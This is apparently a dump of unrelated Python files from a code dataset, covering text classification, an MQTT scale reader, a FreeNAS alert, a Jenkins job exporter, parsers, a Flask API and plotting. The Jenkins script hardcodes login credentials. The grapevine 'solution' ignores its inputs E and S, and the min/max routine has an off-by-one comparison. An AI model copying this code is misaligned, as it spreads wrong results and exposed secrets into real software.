\n\t\t#(r'D:/JanneK/Documents/git_repos/text_classification/data/TERVEYS','TERVEYS') \n ]\n \n data = DataFrame({'text': [], 'mylabel': []})\n for path, classification in SOURCES:\n data = data.append(build_data_frame(path, classification))\n \n data = data.reindex(numpy.random.permutation(data.index))\n \n labels = data.mylabel.unique()\n counts=[-1]*len(labels)\n for i in range(len(counts)):\n counts[i]=len(data[data.mylabel==labels[i]])\n \n M=min(counts)\n for i in range(len(counts)):\n ind=data[data.mylabel==labels[i]].index\n data=data.drop(ind[M:])\n\n# import io\n# outpath = u'D:/JanneK/Documents/git_repos/text_classification/data/pikkudata/'\n# Y = []\n# for i in range(0,len(data)): \n# fname = 'text%0.3d.txt' % (i+1)\n# with io.open(outpath + fname, 'w',encoding='utf-8') as outfile:\n# outfile.write(data.values[i,1])\n# if data.values[i,0] is 'TALOUS':\n# Y.append(1)\n# else:\n# Y.append(2)\n#\n# with io.open(outpath + 'target.txt', 'w',encoding='utf-8') as outfile:\n# for y in Y:\n# outfile.write(str(y)+'\\n')\n\n data = normalize_corpus(data)\n \n print('\\n-- Total',len(counts),'labels with',M,'samples each')\n \n #data = shuffle(data)\n \n return data\n\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 26 20:45:10 2016\n\n@author: DIP\n\"\"\"\n\n","sub_path":"stage1_models/get_my_data_ver1.py","file_name":"get_my_data_ver1.py","file_ext":"py","file_size_in_byte":6049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"225421989","text":"def onlyTupleToList(arr):\n newList = []\n for item in arr:\n if isinstance(item, tuple):\n for i in item:\n newList.append(i)\n\n return newList\n\ndef onlyListToTuple(arr):\n newTuple = ()\n for item in arr:\n if(isinstance(item,list)):\n for i in item:\n newTuple = newTuple + (i,)\n return newTuple\n\ndef onlyStringToList(arr):\n newList = []\n for item in arr:\n if isinstance(item, str):\n newList.append(item)\n\n return newList\n\ndef onlyNumberToList(arr):\n newList = ()\n list1 = onlyListToTuple(arr)\n list2 = onlyTupleToList(arr)\n for item in arr:\n if isinstance(item, (int, float, complex)):\n for i in list(list1) + list2:\n if i == item:\n break\n else:\n newList = newList + (item, )\n\n return newList\n\ndef main(arr):\n print(onlyTupleToList(arr))\n print(onlyListToTuple(arr))\n print(onlyStringToList(arr))\n print(onlyNumberToList(arr))\n","sub_path":"1/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"233465989","text":"#!/usr/bin/env python3\nimport json\nimport sys\nimport os.path\nimport RPi.GPIO as GPIO # import GPIO\nfrom hx711 import HX711 # import the class HX711\nimport paho.mqtt.client as mqtt\nimport paho.mqtt.publish as publish\n\nscale_id_file = 'scale_id'\n\n#publish.single(\"testTopic\", \"Hello from rz02!\", hostname=\"mqtt.hivespeak.tk\")\n\ndef on_connect(client, userdata, flags, rc): # The callback for when the client connects to the broker\n print(\"Connected with result code {0}\".format(str(rc))) # Print result of connection attempt\n # client.subscribe(\"scale/zero\", 1) # Subscribe to the topic “digitest/test1”, receive any messages published on it\n s1 = \"scale/\" + scale_id + \"/zero\"\n s2 = \"scale/\" + scale_id + \"/get_raw\"\n print(s1,s2)\n client.subscribe([(s1, 1),(s2,1)])\n\ndef on_publish(client,userdata,result): #create function for callback\n print(\"data published \\n\")\n pass\n\ndef on_message(client, userdata, msg): # The callback for when a PUBLISH message is received from the server.\n\tprint(\"Message received-> \" + msg.topic + \" \" + str(msg.payload)) # Print a received msg\n\ttry:\n\t\tGPIO.setmode(GPIO.BCM) # set GPIO pin mode to BCM numbering\n\t\t# Create an object hx which represents your real hx711 chip\n\t\t# Required input parameters are only 'dout_pin' and 'pd_sck_pin'\n\t\thx = HX711(dout_pin=21, pd_sck_pin=20)\n\n\t\treading = hx.get_raw_data_mean()\n\t\tif reading: # always check if you get correct value or only False\n\t\t\t# now the value is close to 0\n\t\t\tprint('Data subtracted by offset but still not converted to units:',\n\t\t\treading)\n\t\telse:\n\t\t\tprint('invalid data', reading)\n\n\t\tprint('zero')\n\t\tpayload={\n\t\t\t\"cmd\":msg.topic,\n\t\t\t\"data\": reading\n\t\t\t}\n\t\tresult = json.dumps(payload)\n\t\tprint(result)\n\t\tclient.publish(\"scale/send_raw\",result)\n\n\texcept (KeyboardInterrupt, SystemExit, TypeError, ValueError):\n\t\tprint('Bye :)') \n\tfinally:\n\t\tGPIO.cleanup()\n\n\nif not os.path.exists(scale_id_file):\n\tprint('Please define the scale ID in the file named scale_id')\n\texit(1)\n\nscale_id = ''\nwith open(scale_id_file, \"r\") as id_f:\n\tdata = json.load(id_f)\n\tprint(data)\n\tscale_id = data[\"scale_id\"]\n\tprint(scale_id)\n\n\nclient = mqtt.Client(\"digi_mqtt_test\") # Create instance of client with client ID “digi_mqtt_test”\nclient.on_connect = on_connect # Define callback function for successful connection\nclient.on_message = on_message # Define callback function for receipt of a message\nclient.on_publish = on_publish\nclient.connect(\"mqtt.hivespeak.tk\", 1883, 60) # Connect to (broker, port, keepalive-time)\n# client.connect('127.0.0.1', 17300)\nclient.loop_forever() # Start networking daemon\n\n \n","sub_path":"HX711_Python3/mqtt_subscribe.py","file_name":"mqtt_subscribe.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"314933902","text":"import numpy as np\nfrom numpy import ma\nimport pandas as pd\nimport glob, os\nimport sys\nimport nltk\nimport pickle\nimport collections\nimport string\n\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize \nfrom nltk.stem import WordNetLemmatizer \nnltk.download('punkt')\nnltk.download('stopwords')\nnltk.download('wordnet')\nlemmatizer = WordNetLemmatizer()\nStopWords = set(stopwords.words('english'))\npunctuations = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~''' # punctuation marks \n\n\n# ========================================================\n# Loading Inverted Index\ndef load_invertedIndex(model_path):\n indexPath = model_path # indexPath = \"./model_queries_9.pth\" \n with open(indexPath, 'rb') as handle:\n invertedIndex = pickle.load(handle)\n return invertedIndex\n\n# ========================================================\n# Get Vocabulary\ndef get_Vocabulary(invertedIndex):\n V = sorted(invertedIndex.keys())\n return V\n\n# ========================================================\n# Function to get total number of Documents in given Dataset\ndef get_NumberOfDocs(Data_path):\n i = 0\n path = Data_path # path = \"./Data/en_BDNews24/*\"\n for folder in glob.glob(path+\"/*\"):\n for file in glob.glob(folder+\"/*\"):\n i+=1\n return i\n\n# ========================================================\n# Auxiliary Function to map term to index\ndef get_t2i(V):\n i = 0\n term_2_i = dict() \n for term in V:\n term_2_i[term] = i\n i+=1\n return term_2_i\n\n# ========================================================\n# Function to get Document Frequency vector\ndef get_DFt(N, V, invertedIndex):\n i = 0\n DF_t = np.zeros(len(V))\n for term in V:\n DF_t[i] = len(invertedIndex[term])\n i+=1\n \n return DF_t\n\n#=========================================================\n# Function to lemmatize and remove Punctuations, StopWords \ndef preProcess(text):\n text = text.lower()\n \n # Removing Punctuations\n for x in text: \n if x in punctuations: \n text = text.replace(x, \" \")\n\n # Removing StopWords\n word_tokens = word_tokenize(text)\n ans = \"\"\n for w in word_tokens: \n if w not in StopWords: \n ans += w+\" \"\n text = ans[:-1]\n\n # Performing Lemmatization\n tokens = text.split()\n terms = []\n for token in tokens:\n terms.append(lemmatizer.lemmatize(token)) \n \n ans = \"\"\n for term in terms:\n ans += term+\" \"\n\n return ans[:-1]\n\n#=========================================================\n# Query Preprocessing\ndef PreProcessQueries(path, outname): \n print(\"Preprocessing Queries...\")\n lemmatizer = WordNetLemmatizer()\n StopWords = set(stopwords.words('english'))\n invertedIndex = dict()\n \n f = open(path, 'r')\n output = open(outname, 'w')\n for line in f:\n if((\"\" in line) and (\"\" in line)):\n num = line.split(\"\")[1].split(\"\")[0]\n for nextline in f:\n title = nextline.split(\"\")[1].split(\"\")[0].lower()\n newTitle = preProcess(title)\n break\n # print(num, newTitle)\n output.write(str(num)+\",\"+str(newTitle)+\"\\n\")\n f.close()\n return\n\n#=========================================================\n# Term Frequency Variants\ndef logTermFrequency(x):\n return ((x>0).astype('int') * (1 + ma.log10(x).filled(0)))\n\ndef augmentedTermFrequency(x):\n y = (x>0).astype('int')\n return (0.5 + ((0.5*x)/(1.0*np.max(x))))*y\n\ndef logaveTermFrequency(x):\n return logTermFrequency(x)/(1+x[x>0].mean())\n\n#==========================================================\n# Document Frequency Variants\ndef noDocumentFrequency(x):\n return x\n\ndef idfDocumentFrequency(x, N, dft):\n return x*np.log10(N/dft)\n\ndef probidfDocumentFrequency(x, N, dft):\n return x*np.maximum(0, (ma.log10((N-dft)/dft).filled(0)))\n\n#==========================================================\n# Normalization\ndef cosineNormalization(x):\n return x/np.sqrt(np.sum(x*x)) \n\n#==========================================================\ndef IDF(x, N):\n return np.log10(N/x)\n\n#==========================================================\n# Different Schemes\ndef lncVector(x): \n l = logTermFrequency(x)\n n = noDocumentFrequency(l)\n c = cosineNormalization(n)\n return c\n\ndef ltcVector(x, N, dtf):\n l = logTermFrequency(x)\n t = idfDocumentFrequency(l, N, dtf)\n c = cosineNormalization(t)\n return c\n \ndef LncVector(x):\n L = logaveTermFrequency(x)\n n = noDocumentFrequency(L)\n c = cosineNormalization(n)\n return c\n\ndef LpcVector(x, N, dft):\n L = logaveTermFrequency(x)\n p = probidfDocumentFrequency(L, N, dft)\n c = cosineNormalization(p)\n return c\n\ndef ancVector(x):\n a = augmentedTermFrequency(x)\n n = noDocumentFrequency(a)\n c = cosineNormalization(n)\n return c\n\ndef apcVector(x, N, dft):\n a = augmentedTermFrequency(x)\n p = probidfDocumentFrequency(a, N, dft)\n c = cosineNormalization(p)\n return c\n\n#==================================================================================\n# cosine similarity\ndef cosineSimilarity(x, y):\n return np.sum(x*y, axis=1)/(np.linalg.norm(x)*np.linalg.norm(y, axis=1))\n\n#==================================================================================\n# Obtaning Query vectors for 3 different schemes\ndef QueryVectors(queryPath, term2i, N, DF_t, V):\n print(\"Obtaning Query vectors...\")\n f = open(queryPath, 'r')\n Qltc = np.zeros(len(V))\n QLpc = np.zeros(len(V))\n Qapc = np.zeros(len(V))\n \n Vocab = set(V)\n for line in f:\n temp = line.split(',')\n num = temp[0]\n title = temp[1][:-1]\n queryTerms = title.split(' ')\n q = np.zeros(len(V))\n \n # building query vector\n for term in queryTerms: \n if(term in Vocab):\n q[term2i[term]]+=1\n \n # if not(np.sum(q)==len(queryTerms)):\n # print(\"Query: \", num, title, np.sum(q))\n # for term in queryTerms:\n # if(term not in Vocab):\n # print(term, \" :not in Vocab\")\n\n Qltc = np.vstack((Qltc, ltcVector(q, N, DF_t)))\n QLpc = np.vstack((QLpc, LpcVector(q, N, DF_t)))\n Qapc = np.vstack((Qapc, apcVector(q, N, DF_t)))\n \n Qltc = Qltc[1:]\n QLpc = QLpc[1:]\n Qapc = Qapc[1:]\n return Qltc, QLpc, Qapc\n\n#==================================================================================\n# function to find similarity between query and documents with 3 schemes\ndef Similarity(path, Qltc, QLpc, Qapc, term2i, VocabSize):\n D = 0\n Q = Qltc.shape[0]\n for folder in glob.glob(path+\"/*\"):\n for file in glob.glob(folder+\"/*\"):\n D+=1\n print(\"Total Documents:\",D, \" Total Queries:\",Q)\n print(\"Processing...\")\n Scoreslnc = np.zeros((D, Q))\n ScoresLnc = np.zeros((D, Q))\n Scoresanc = np.zeros((D, Q))\n i = -1\n num2doc = dict()\n for folder in glob.glob(path+\"/*\"):\n for file in glob.glob(folder+\"/*\"):\n f = open(file, 'r')\n data = \"\"\n for line in f:\n data+=line[:-1]\n text = data.split('')[1].split('')[0].lower()\n \n # Removing Punctuations\n for x in text: \n if x in punctuations: \n text = text.replace(x, \" \")\n\n # Removing StopWords\n word_tokens = word_tokenize(text)\n ans = \"\"\n for w in word_tokens: \n if w not in StopWords: \n ans += w+\" \"\n text = ans[:-1]\n\n # Performing Lemmatization\n tokens = text.split()\n terms = []\n for token in tokens:\n terms.append(lemmatizer.lemmatize(token))\n \n\n file = file.split('/')[-1]\n i += 1\n num2doc[i] = file\n counter = collections.Counter(terms)\n f.close()\n \n d_tf = np.zeros(VocabSize)\n \n for term in terms:\n d_tf[term2i[term]] += 1\n # now we have Document-Term-Frequency-Raw-vector\n\n dlnc = lncVector(d_tf)\n dLnc = LncVector(d_tf)\n danc = ancVector(d_tf)\n\n sim = cosineSimilarity(dlnc, Qltc)\n Scoreslnc[i] = sim\n\n sim = cosineSimilarity(dLnc, QLpc)\n ScoresLnc[i] = sim\n\n sim = cosineSimilarity(danc, Qapc)\n Scoresanc[i] = sim\n if(i%20==0):\n print(\"Processing Completed till docs: \", i, \" /\", D)\n return Scoreslnc, ScoresLnc, Scoresanc, num2doc\n\n#==================================================================================\n# function to output the CSV files\ndef RankedList(out_name, Scores, Q, num2doc, K):\n print(\"Generating Results: \"+str(out_name))\n f = open(out_name, 'w')\n f.write(\"Query_ID,Document_ID,Rank\\n\")\n M = Scores\n q = 126\n for i in range(Q):\n top50 = np.argsort(M[:,i])[::-1][:K]\n r = 1\n for i in top50:\n doc = num2doc[i]\n f.write(str(q)+\",\"+str(doc)+\",\"+str(r)+\"\\n\")\n r+=1\n q+=1\n f.close()\n\n\n#============================== MAIN FUNCTION ====================================\ndef main():\n if len(sys.argv)<4:\n print(\"Invalid arguments!!\")\n return\n \n # N : Number of documents\n # V : Vocabulary\n # DF_t : Document Frequency for each term, DF(t)\n\n queryIn = sys.argv[1]\n dataPath = sys.argv[2] # dataPath = \"./Data/en_BDNews24\"\n indexPath = sys.argv[3] # indexPath = \"./model_queries_9.pth\"\n\n queryOut = '/'.join(dataPath.split('/')[:-2]) + \"/queries_9.txt\"\n ResultA = '/'.join(dataPath.split('/')[:-2]) + \"/Assignment2_9_ranked_list_A.csv\"\n ResultB = '/'.join(dataPath.split('/')[:-2]) + \"/Assignment2_9_ranked_list_B.csv\"\n ResultC = '/'.join(dataPath.split('/')[:-2]) + \"/Assignment2_9_ranked_list_C.csv\"\n\n invertedIndex = load_invertedIndex(indexPath)\n V = get_Vocabulary(invertedIndex)\n term2i = get_t2i(V)\n N = get_NumberOfDocs(dataPath)\n DF_t = get_DFt(N, V, invertedIndex)\n\n # Preprocess queries\n PreProcessQueries(queryIn, queryOut)\n\n Qltc, QLpc, Qapc = QueryVectors(queryOut, term2i, N, DF_t, V)\n Slnc, SLnc, Sanc, num2doc = Similarity(dataPath, Qltc, QLpc, Qapc, term2i, len(V))\n\n Q = Qltc.shape[0]\n RankedList(ResultA, Slnc, Q, num2doc, 50)\n RankedList(ResultB, SLnc, Q, num2doc, 50)\n RankedList(ResultC, Sanc, Q, num2doc, 50)\n\nif __name__== \"__main__\":\n main()","sub_path":"Part2/Assignment2_9_ranker.py","file_name":"Assignment2_9_ranker.py","file_ext":"py","file_size_in_byte":10876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"203189430","text":"from tkinter import *\nfrom tkinter import ttk\n\n\nwindow = Tk()\nwindow.geometry('+200+200')\n\nbutton = ttk.Button(window, text=\"Click Me\")\nbutton.pack()\n\n\ndef callback():\n print('Photo')\n\n\nlogo = PhotoImage(file = './1.png')\n\nbutton.config(command = callback, image=logo, compound = LEFT)\n\nwindow.mainloop()\n","sub_path":"Python/Tkinter Tutorial/Build Your First Tkinter GUI/Advanced/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"468817582","text":"\r\n#Planting Grapevines \r\n\r\n#A vineyard owner is planting several new rows of grapevines, and needs to know how many grapevines to plant in each row. \r\n\r\n#She has determined that after measuring the length of a future row, she can use the following formula to calculate the number of vines that will fit in the row, along with the trellis end-post assemblies that will need to be constructed at each end of the row:\r\n\r\n#V=R-2ES \r\n\r\n#The terms in the formula are: \r\n\r\n#V is the number of grapevines that will fit in the row.\r\n\r\n#R is the length of the row, in feet.\r\n\r\n#E is the amount of space, in feet, used by an end-post assembly.\r\n\r\n#S is the space between vines, in feet. \r\n\r\n#Write a program that makes the calculation for the vineyard owner. \r\n\r\n#The program should ask the user to input the following:\r\n\r\n#The length of the row, in feet \r\n\r\n#The amount of space used by an end-post assembly, in feet \r\n\r\n#The amount of space between the vines, in feet\r\n\r\n#My Solution\r\n\r\n\r\n\r\nR =int(input('Enter the length of the row, in feet.:'))\r\nE=int(input('Enter the amount of space, in feet, used by an end-post assembly.:')) \r\nS=int(input('Enter the space between vines, in feet.:'))\r\nV1=R-2*4\r\nV=V1/2\r\nprint(V)","sub_path":"XYLab.py","file_name":"XYLab.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"479989292","text":"from datetime import timedelta\nimport subprocess\n\nfrom middlewared.alert.base import Alert, AlertLevel, ThreadedAlertSource\nfrom middlewared.alert.schedule import IntervalSchedule\n\n\nclass ZpoolCapacityAlertSource(ThreadedAlertSource):\n level = AlertLevel.WARNING\n title = \"The capacity for the volume is above recommended value\"\n\n schedule = IntervalSchedule(timedelta(minutes=5))\n\n def check_sync(self):\n alerts = []\n pools = [\n pool[\"name\"]\n for pool in self.middleware.call_sync(\"pool.query\")\n ] + [\"freenas-boot\"]\n for pool in pools:\n proc = subprocess.Popen([\n \"zpool\",\n \"list\",\n \"-H\",\n \"-o\", \"cap\",\n pool.encode(\"utf8\"),\n ], stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding=\"utf8\")\n data = proc.communicate()[0]\n if proc.returncode != 0:\n continue\n try:\n cap = int(data.strip(\"\\n\").replace(\"%\", \"\"))\n except ValueError:\n continue\n\n msg = (\n \"The capacity for the volume \\\"%(volume)s\\\" is currently at \"\n \"%(capacity)d%%, while the recommended value is below 80%%.\"\n )\n level = None\n if cap >= 90:\n level = AlertLevel.CRITICAL\n elif cap >= 80:\n level = AlertLevel.WARNING\n if level:\n alerts.append(\n Alert(\n msg,\n {\n \"volume\": pool,\n \"capacity\": cap,\n },\n key=[pool, level.name],\n level=level,\n )\n )\n\n return alerts\n","sub_path":"src/middlewared/middlewared/alert/source/zpool_capacity.py","file_name":"zpool_capacity.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"408700580","text":"import torch\n\nfrom networks import ECO_Lite\n\ndef load_pretrained_ECO(model_dict, pretrained_model_dict):\n \"\"\"\n function to loads the trained model of ECO\n The ECO constructed this time has the same layer order as the trained model, \n but the name is different.\n \"\"\"\n \n # Parameter name of the current network model\n param_names = []\n for name, param in model_dict.items():\n param_names.append(name)\n\n # Creating a new state_dict by copying the current network information\n new_state_dict = model_dict.copy()\n\n # Assigning the learned value to the new state_dict\n print('Loading the trained parameters...')\n for index, (key_name, value) in enumerate(pretrained_model_dict.items()):\n name = param_names[index] # Getting the parameter name in the current network\n new_state_dict[name] = value # Putting in that value\n\n return new_state_dict\n\nif __name__ == '__main__':\n # Model instantiation\n net = ECO_Lite()\n net.eval()\n\n # Loading of trained model\n net_model_ECO = './models/ECO_Lite_rgb_model_Kinetics.pth.tar'\n pretrained_model = torch.load(net_model_ECO, map_location='cpu')\n pretrained_model_dict = pretrained_model['state_dict']\n # Get the variable name of the current model, etc.\n model_dict = net.state_dict()\n\n new_state_dict = load_pretrained_ECO(model_dict, pretrained_model_dict)\n\n net.eval() # To evaluate the model put ECO network in inference mode\n net.load_state_dict(new_state_dict)\n\n # Save loaded weights\n torch.save(net.state_dict(), './models/pretrained.pth')\n","sub_path":"prepare.py","file_name":"prepare.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"183153974","text":"# -*- coding: utf-8 -*-\nimport csv\nimport logging\n\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom web.businesses.models import BusinessLocation\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass Command(BaseCommand):\n help = \"\"\"\n Permanently remove businesses identified by the urls in the *.csv file.\n \"\"\"\n\n def add_arguments(self, parser):\n parser.add_argument('--csv_path',\n action='store',\n default=None,\n dest='csv_path',\n help='Path to csv relative to current directory')\n\n def handle(self, *args, **options):\n csv_path = options.get('csv_path')\n\n if csv_path is None:\n raise CommandError('csv_path is required')\n\n with open(csv_path) as f:\n reader = csv.reader(f)\n\n for i, row in enumerate(reader):\n url = row[0]\n\n state, city_slug, slug_name, _ = url.split('/')[-4:]\n\n kwargs = {\n 'state__iexact': state,\n 'city_slug__iexact': city_slug,\n 'slug_name__iexact': slug_name,\n }\n\n print(i + 1, url)\n\n try:\n location = BusinessLocation.objects.get(**kwargs)\n location.business.delete()\n print('Removed successfully')\n print('')\n\n except BusinessLocation.DoesNotExist:\n print('Not found')\n print('')\n","sub_path":"web/management/commands/remove_businesses_by_url.py","file_name":"remove_businesses_by_url.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"212475964","text":"import pandas as pd\nimport _pickle as cPickle\nimport os\nfrom tqdm import tqdm\n\nfiles_path = [os.path.abspath(x) for x in os.listdir()]\ncolumn_names = [\"1.date\", \"2.origin\", \"3.destination\", \"4.stops\", \"5.schedule_detail\", \"RID\"]\ndf = pd.DataFrame(columns = column_names)\nfor i in tqdm(range(0,len(files_path))):\n pickle_in = open(files_path[i],\"rb\")\n historical_information = cPickle.load(pickle_in)\n df = df.append(historical_information)\n\npickle_out = open(\"historical_information_PAD_DID_2017.pickle\",\"wb\")\ncPickle.dump(df, pickle_out)\n\npickle_out = open(\"historical_information_PAD_DID_2017_dummy.pickle\",\"wb\")\ncPickle.dump(df, pickle_out)\n","sub_path":"Data Preprocessing/015_data_merge.py","file_name":"015_data_merge.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"554361867","text":"from .classes import Alignment,Annotation\n\ndef read_alignment(path):\n with open(path) as f:\n data = f.read()\n lines = data.splitlines()\n i = 0\n alignments = []\n # The alignments in maf format follows:\n # Line 1: a score=x mishap=y\n # Line 2: s geneID start length + a sequence\n # Line 3: s geneID start length + b sequence\n while i < len(lines):\n if 'score' in lines[i]:\n A = Alignment()\n info1 = lines[i+1].split(' ')\n info2 = lines[i+2].split(' ')\n while '' in info1:\n info1.remove('')\n while '' in info2:\n info2.remove('')\n (A.name1,A.start1,A.end1,A.seq1) = (info1[1],int(info1[2]),\\\n int(info1[2])+int(info1[3])-1,info1[-1])\n (A.name2,A.start2,A.end2,A.seq2) = (info2[1],int(info2[2]),\\\n int(info2[2])+int(info2[3])-1,info2[-1])\n # print(A.name1,A.start1,A.end1,A.seq1)\n A.find_gap()\n alignments.append(A)\n i += 1\n return alignments\n\n\n# What information: type, start, end, strand(+/-), attributes\ndef read_annotation(path):\n with open(path) as f:\n data = f.read().splitlines()\n annotations = []\n i = 0\n # Stop when it starts to read sequences\n while i < len(data) and data[i].replace(' ','') != 'ORIGIN': \n # print(data[i][0:5],data[i][5])\n if len(data[i]) > 6 and data[i][0:5] == ' ' and data[i][5] != ' ':\n typee = data[i][:21].replace(' ','')\n if typee == 'CDS':\n A = Annotation()\n A.type = typee\n A.strand = '-' if 'complement' in data[i] else '+'\n number = data[i][21:].replace('complement','')\n if data[i+1].replace(' ','')[0] != '/':\n number += data[i+1].replace(' ','')\n number = number.replace('(','')\n number = number.replace(')','')\n number = number.replace('join','')\n # print(number)\n number = number.split(',')\n for seg in number:\n pair = seg.split('..')\n A.start.append(int(pair[0]))\n A.end.append(int(pair[1]))\n info = data[i] + '\\n'\n i += 1\n while data[i][5] == ' ':\n info += data[i]+'\\n'\n i += 1\n A.attribute = info\n # WE DON'T WANT TO INCLUDE PSEUDOGENES\n if 'pseudogene' not in info:\n annotations.append(A)\n else:\n i += 1\n else:\n i += 1\n return annotations\n","sub_path":"Frameshift_Analysis/read_files.py","file_name":"read_files.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"529829577","text":"\r\n#An array of numbers of length N is given , you need to find the minimum and maximum. try doing this in less than 2* (N-2) comparisons\r\n\r\ndef max_min_of_ele(a):\r\n max = a[0]\r\n min=a[0]\r\n for i in range(0,len(a),2):\r\n if i == len(a)-1:\r\n if max < a[i]:\r\n max = a[i]\r\n elif min > a[i]:\r\n min = a[i]\r\n if a[i] < a[i-1]:\r\n if min > a[i]:\r\n min = a[i]\r\n if max < a[i-1]:\r\n max = a[i-1]\r\n else:\r\n if max < a[i]:\r\n max = a[i]\r\n if min > a[i-1]:\r\n min = a[i-1]\r\n return min,max\r\n\r\nprint(max_min_of_ele([2,4,5,10,1]))","sub_path":"python_31.py","file_name":"python_31.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"146417080","text":"from jenkinsapi.jenkins import Jenkins\r\nimport sqlite3\r\nconn = sqlite3.connect('C:\\sqlite\\starseeds.db')\r\ndef get_server_instance():\r\n jenkins_url = 'http://localhost:8080/'\r\n server = Jenkins(jenkins_url, username = 'jose', password = 'aeiouaeiou')\r\n return server\r\n\r\n\"\"\"Get job details of each job that is running on the Jenkins instance and insert them into sql db\"\"\"\r\ndef get_job_details(server):\r\n\r\n c = conn.cursor()\r\n\r\n c.execute('DELETE FROM jobs')\r\n \r\n for j in server.get_jobs():\r\n job_instance = server.get_job(j[0])\r\n print (\"*****************\")\r\n print ('Job Name: %s' %(job_instance.name))\r\n print ('Job Description: %s' %(job_instance.get_description()))\r\n print ('Is Job running: %s' %(job_instance.is_running()))\r\n print ('Is Job enabled: %s' %(job_instance.is_enabled()))\r\n # Insert a row of data\r\n\r\n # job = [( \"'\"+job_instance.name+\"'\", \"'\"+job_instance.get_description()+\"'\", \"'\"+job_instance.is_running()+\"'\", \"'\"+job_instance.is_enabled()+\"'\")]\r\n job = []\r\n job.append(job_instance.name)\r\n job.append(job_instance.get_description())\r\n job.append(job_instance.is_running())\r\n job.append(job_instance.is_enabled())\r\n \r\n c.execute('INSERT INTO jobs VALUES (?, ?, ?, ?)', job)\r\n # Save (commit) the changes\r\n conn.commit()\r\n \r\n c.execute(\"SELECT * FROM jobs\")\r\n result = c.fetchall()\r\n print(\"SELECT RESULT\")\r\n for job in result:\r\n print(job)\r\n \r\n # We can also close the connection if we are done with it.\r\n # Just be sure any changes have been committed or they will be lost.\r\n conn.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n server = get_server_instance()\r\n print (\"version: \", server.version)\r\n get_job_details(server)\r\n\r\n\r\n","sub_path":"Python Script.py","file_name":"Python Script.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"345525733","text":"\"\"\"\nrest interface\n\"\"\"\n\nfrom flask import Flask, request, jsonify\nfrom os import path, environ\nimport json\n\nfrom battleground.persistence import game_data\nfrom battleground.persistence import agent_data\n\napp = Flask(__name__)\n\n\ndef do_move(game_id, data):\n raise NotImplementedError()\n\n\ndef get_players():\n raise NotImplementedError()\n\n\n@app.route(\"/api/states/\")\ndef get_game_states(game_id):\n data = game_data.load_game_history(game_id)\n output = []\n for doc in data:\n doc[\"_id\"] = str(doc[\"_id\"])\n doc[\"game_id\"] = str(doc[\"game_id\"])\n output.append(doc)\n return jsonify(output)\n\n\n@app.route(\"/api/games/\")\ndef get_games(game_type):\n data = game_data.get_games_list(game_type=game_type)[0:10]\n output = []\n for doc in data:\n doc[\"_id\"] = str(doc[\"_id\"])\n output.append(doc)\n return jsonify(output)\n\n\n@app.route(\"/api/games/\")\ndef get_games_types():\n data = game_data.get_games_list()[0:10]\n output = []\n for doc in data:\n doc[\"_id\"] = str(doc[\"_id\"])\n output.append(doc)\n return jsonify(output)\n\n\n@app.route(\"/api/stats/\")\ndef get_game_results():\n data = agent_data.load_game_results(game_type=\"basic_game\")\n return jsonify(data)\n\n\n@app.route(\"/api/\")\ndef main():\n return \"flask root\"\n","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"80805697","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef plotLen(sessLength):\n \n plot1 = plt.figure()\n plt.plot(sessLength, color = (0.254902, 0.411765, 0.882353) )\n plt.ylabel('User Request Length')\n plt.xlabel('User')\n plt.title('User Request Lengths')\n plot1.show()\n\ndef boxplotLen(sessLength):\n plot2 = plt.figure()\n plt.boxplot(sessLength, vert=False)\n plt.title('User Request Lengths Distribution')\n plt.ylabel('')\n plt.xlabel('User Request Length')\n plot2.show()\n\ndef plot_requestLen(sessLength):\n sessLengthsize = np.bincount(sessLength)\n sessLengthsize = np.delete(sessLengthsize, 0)#[range(0,10)] )\n sessLengthsize = np.true_divide( sessLengthsize, sessLength.size )*100\n idx = range(1,sessLengthsize.size+1)\n\n plot3 = plt.figure()\n plt.bar(idx, sessLengthsize, width = 0.4, align = 'center', color = (0.254902, 0.411765, 0.882353) )\n plt.title(\"User Request Length\")\n plt.xlabel('User Request Length')\n plt.ylabel('Percentage of Users / %')\n ax = plt.gca()\n ax.set_xscale('log')\n # plt.xticks(idx)\n plot3.show()\n \n 